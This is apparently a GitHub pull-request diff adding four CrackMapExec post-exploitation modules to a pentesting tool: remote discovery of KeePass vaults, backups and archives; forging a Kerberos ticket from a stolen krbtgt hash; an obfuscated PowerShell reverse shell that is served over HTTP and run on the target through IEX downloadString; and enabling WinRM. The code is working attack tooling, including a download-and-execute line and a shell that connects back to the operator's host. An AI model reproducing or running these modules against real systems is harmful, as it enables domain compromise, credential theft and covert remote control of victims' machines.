Skip to content
This repository was archived by the owner on Dec 6, 2023. It is now read-only.
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
109 changes: 109 additions & 0 deletions cme/modules/file_discovery.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,109 @@
from csv import reader

class CMEModule:
"""
Search for interesting files in a specified directory

Module by Eric Labrador
"""

name = 'file_discovery'
description = "Search for .sql files in a specified directory."
supported_protocols = ['smb']
opsec_safe = True # only legitimate commands are executed on the remote host (search process and files)
multiple_hosts = True

def __init__(self):
self.search_path = ''

def options(self, context, module_options):
"""
SEARCH_PATH Remote location where to search for .sql files (you must add single quotes around the path if it includes spaces)
Required option
"""

if 'SEARCH_PATH' in module_options:
self.search_path = module_options['SEARCH_PATH']
else:
context.log.error('SEARCH_PATH is a required option')

def on_admin_login(self, context, connection):
# search for .sql files
search_sql_files_payload = "Get-ChildItem -Path {} -Recurse -Force -Include *.sql -ErrorAction SilentlyContinue | Select FullName -ExpandProperty FullName".format(self.search_path)
search_sql_files_cmd = 'powershell.exe "{}"'.format(search_sql_files_payload)
search_sql_files_output = connection.execute(search_sql_files_cmd, True).split("\r\n")
found = False
for file in search_sql_files_output:
if '.sql' in file:
found = True
context.log.highlight('Found .sql file: {}'.format(file))

# search for .kdbx files
search_kdbx_files_payload = "Get-ChildItem -Path {} -Recurse -Force -Include *.kdbx -ErrorAction SilentlyContinue | Select FullName -ExpandProperty FullName".format(self.search_path)
search_kdbx_files_cmd = 'powershell.exe "{}"'.format(search_kdbx_files_payload)
search_kdbx_files_output = connection.execute(search_kdbx_files_cmd, True).split("\r\n")
found = False
for file in search_kdbx_files_output:
if '.kdbx' in file:
found = True
context.log.highlight('Found .kdbx file: {}'.format(file))

# search for .txt files
search_txt_files_payload = "Get-ChildItem -Path {} -Recurse -Force -Include *.txt -ErrorAction SilentlyContinue | Select FullName -ExpandProperty FullName".format(self.search_path)
search_txt_files_cmd = 'powershell.exe "{}"'.format(search_txt_files_payload)
search_txt_files_output = connection.execute(search_txt_files_cmd, True).split("\r\n")
found = False
for file in search_txt_files_output:
if '.txt' in file:
found = True
context.log.highlight('Found .txt file: {}'.format(file))

# search for .bak files
search_bak_files_payload = "Get-ChildItem -Path {} -Recurse -Force -Include *.bak -ErrorAction SilentlyContinue | Select FullName -ExpandProperty FullName".format(self.search_path)
search_bak_files_cmd = 'powershell.exe "{}"'.format(search_bak_files_payload)
search_bak_files_output = connection.execute(search_bak_files_cmd, True).split("\r\n")
found = False
for file in search_bak_files_output:
if '.bak' in file:
found = True
context.log.highlight('Found .bak file: {}'.format(file))

# search for .tar files
search_tar_files_payload = "Get-ChildItem -Path {} -Recurse -Force -Include *.tar -ErrorAction SilentlyContinue | Select FullName -ExpandProperty FullName".format(self.search_path)
search_tar_files_cmd = 'powershell.exe "{}"'.format(search_tar_files_payload)
search_tar_files_output = connection.execute(search_tar_files_cmd, True).split("\r\n")
found = False
for file in search_tar_files_output:
if '.tar' in file:
found = True
context.log.highlight('Found .tar file: {}'.format(file))

# search for .zip files
search_zip_files_payload = "Get-ChildItem -Path {} -Recurse -Force -Include *.zip -ErrorAction SilentlyContinue | Select FullName -ExpandProperty FullName".format(self.search_path)
search_zip_files_cmd = 'powershell.exe "{}"'.format(search_zip_files_payload)
search_zip_files_output = connection.execute(search_zip_files_cmd, True).split("\r\n")
found = False
for file in search_zip_files_output:
if '.zip' in file:
found = True
context.log.highlight('Found .zip file: {}'.format(file))

# search for .rar files
search_rar_files_payload = "Get-ChildItem -Path {} -Recurse -Force -Include *.rar -ErrorAction SilentlyContinue | Select FullName -ExpandProperty FullName".format(self.search_path)
search_rar_files_cmd = 'powershell.exe "{}"'.format(search_rar_files_payload)
search_rar_files_output = connection.execute(search_rar_files_cmd, True).split("\r\n")
found = False
for file in search_rar_files_output:
if '.rar' in file:
found = True
context.log.highlight('Found .rar file: {}'.format(file))

# search for .7z files
search_7z_files_payload = "Get-ChildItem -Path {} -Recurse -Force -Include *.7z -ErrorAction SilentlyContinue | Select FullName -ExpandProperty FullName".format(self.search_path)
search_7z_files_cmd = 'powershell.exe "{}"'.format(search_7z_files_payload)
search_7z_files_output = connection.execute(search_7z_files_cmd, True).split("\r\n")
found = False
for file in search_7z_files_output:
if '.7z' in file:
found = True
context.log.highlight('Found .7z file: {}'.format(file))
61 changes: 61 additions & 0 deletions cme/modules/gettgt.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,61 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# gettgt module for CME python3
# author of the module : github.com/e1abrador
# Ticketer: https://github.com/fortra/impacket/blob/master/examples/ticketer.py


import os

class CMEModule:
name = "gettgt"
description = "Remotely generate a TGT for any user via krbtgt account."
supported_protocols = ["smb"]
opsec_safe= True
multiple_hosts = True

def options(self, context, module_options):
'''
TARGET_USER // Target user to generate the TGT.
KRBTGT_NTLM // NTLM Hash for krbtgt user.
'''

if "TARGET_USER" in module_options:
self.target_user = module_options["TARGET_USER"]

if "KRBTGT_NTLM" in module_options:
self.krbtgt_ntlm = module_options["KRBTGT_NTLM"]

def on_admin_login(self, context, connection):

domain = connection.domain
username = connection.username
host = connection.host
nthash = getattr(connection, "nthash", "")
hostname = connection.hostname

repo_url = "https://github.com/SecureAuthCorp/impacket"
repo_path = "/opt/impacket"

if not os.path.exists(repo_path):
subprocess.run(["git", "clone", repo_url, repo_path], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
cmd = ["python3", f"{repo_path}/setup.py", "install"]
subprocess.run(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

tgt_file = self.target_user + ".ccache"

if os.path.isfile(tgt_file):
context.log.error(f"{highlight(tgt_file)} exists in the current directory. The TGT won't be requested.")
else:
# Extract the SID needed to get the TGT
check_sid = 'powershell.exe -c "(Get-ADDomain).DomainSID.Value"'
data = connection.execute(check_sid, True, methods=["smbexec"]).splitlines()
sid = data[0]
context.log.info("Trying to get the SID of the domain...")
context.log.success("Domain SID successfuly extracted: " + sid)
context.log.info(f"Requesting a TGT for user {highlight(self.target_user)}.")
os.system(f"ticketer.py -nthash {self.krbtgt_ntlm} -domain-sid {sid} -domain {domain} {self.target_user} >/dev/null 2>&1")
if os.path.isfile(tgt_file):
context.log.success(f"Successfuly dumped the TGT to {highlight(tgt_file)}.")
else:
context.log.error(f"It was not possible to get a TGT for {self.target_user}.")
79 changes: 79 additions & 0 deletions cme/modules/revshell.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,79 @@
import os
import time
import subprocess

class CMEModule:
"""
Create a reverse shell

Module by Eric Labrador
"""

name = 'reverse_shell'
description = "Create a reverse shell."
supported_protocols = ['smb']
opsec_safe = True
multiple_hosts = True

def __init__(self):
self.lhost = ''

def options(self, context, module_options):
"""
LHOST Local IP address to connect the reverse shell to
Required option
LPORT Local Port to connect the reverse shell to
Required option
HTTP_SERVER Local Port to start the http server
Required option
"""

if 'LHOST' in module_options:
self.lhost = module_options['LHOST']
else:
context.log.error('LHOST is a required option')
if 'LPORT' in module_options:
self.lport = module_options['LPORT']
else:
context.log.error('LPORT is a required option')
if 'HTTP_SERVER' in module_options:
self.http_port = module_options['HTTP_SERVER']
else:
context.log.error('HTTP_SERVER is a required option')


def on_admin_login(self, context, connection):
context.log.info('Run the following command "nc -lvnp ' + self.lport + '" to receive the reverse shell.')
revshell1 = "$KLK = New-Object System.Net.Sockets.TCPClient('" + self.lhost + "','" + self.lport + "');"
revshell2 = "$PLP = $KLK.GetStream();"
revshell3 = "[byte[]]$VVCCA = 0..((2-shl(3*5))-1)|%{0};"
revshell5 = "$VVCCA = ([text.encoding]::UTF8).GetBytes('Succesfuly connected .`n`n')"
revshell6 = "$PLP.Write($VVCCA,0,$VVCCA.Length)"
revshell7 = "$VVCCA = ([text.encoding]::UTF8).GetBytes((Get-Location).Path + ' > ')"
revshell8 = "$PLP.Write($VVCCA,0,$VVCCA.Length)"
revshell9 = "[byte[]]$VVCCA = 0..((2-shl(3*5))-1)|%{0};"
revshell10 = "while(($A = $PLP.Read($VVCCA, 0, $VVCCA.Length)) -ne 0){;$DD = (New-Object System.Text.UTF8Encoding).GetString($VVCCA,0, $A);"
revshell11 = "$VZZS = (i`eX $DD 2>&1 | Out-String );"
revshell12 = "$HHHHHH = $VZZS + (pwd).Path + '! ';"
revshell13 = "$L = ([text.encoding]::UTF8).GetBytes($HHHHHH);"
revshell14 = "$PLP.Write($L,0,$L.Length);"
revshell15 = "$PLP.Flush()};"
revshell16 = "$KLK.Close()"

file = open("helloAV.ps1" ,"w")
file.write(revshell1 + "\n" + revshell2 + "\n" + revshell3 + "\n" + revshell5 + "\n" + revshell6 + "\n" + revshell7 + "\n" + revshell8 + "\n" + revshell9 + "\n" + revshell10 + "\n" + revshell11 + "\n" + revshell12 + "\n" + revshell13 + "\n" + revshell14 + "\n" + revshell15 + "\n" + revshell16)
file.close()

subprocess.Popen("python3 -m http.server " + self.http_port + " &", shell=True,
stdout=subprocess.PIPE,stdin=subprocess.PIPE, stderr=subprocess.PIPE)

time.sleep(7)

reverse_shell_command = "powershell.exe IEX(New-Object Net.WebClient).downloadString('http://" + self.lhost + ":" + self.http_port + "/helloAV.ps1')"
connection.execute(reverse_shell_command, False)
context.log.success('Reverse shell payload executed.')

time.sleep(2)

os.system("pkill -f http.server")
os.system("rm -r helloAV.ps1")
35 changes: 35 additions & 0 deletions cme/modules/winrm.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,35 @@
class CMEModule:
"""
Enable/Disable WinRM service
Module by Eric Labrador
"""
name = 'winrm'
description = 'Enable/Disable WinRM service'
supported_protocols = ['smb']
opsec_safe = True
multiple_hosts = True

def options(self, context, module_options):
'''
ACTION Enable/Disable WinRM service (choices: enable, disable)
'''

if not 'ACTION' in module_options:
context.log.error('ACTION option not specified!')
exit(1)

if module_options['ACTION'].lower() not in ['enable', 'disable']:
context.log.error('Invalid value for ACTION option!')
exit(1)

self.action = module_options['ACTION'].lower()

def on_admin_login(self, context, connection):
if self.action == 'enable':
enable_winrm_command = 'powershell.exe "Enable-PSRemoting -Force"'
connection.execute(enable_winrm_command, True).split("\r\n")
context.log.highlight('WinRM enabled successfully')
elif self.action == 'disable':
disable_winrm_command = 'powershell.exe "Stop-Service WinRM"'
connection.execute(disable_winrm_command, True).split("\r\n")
context.log.highlight('WinRM disabled successfully')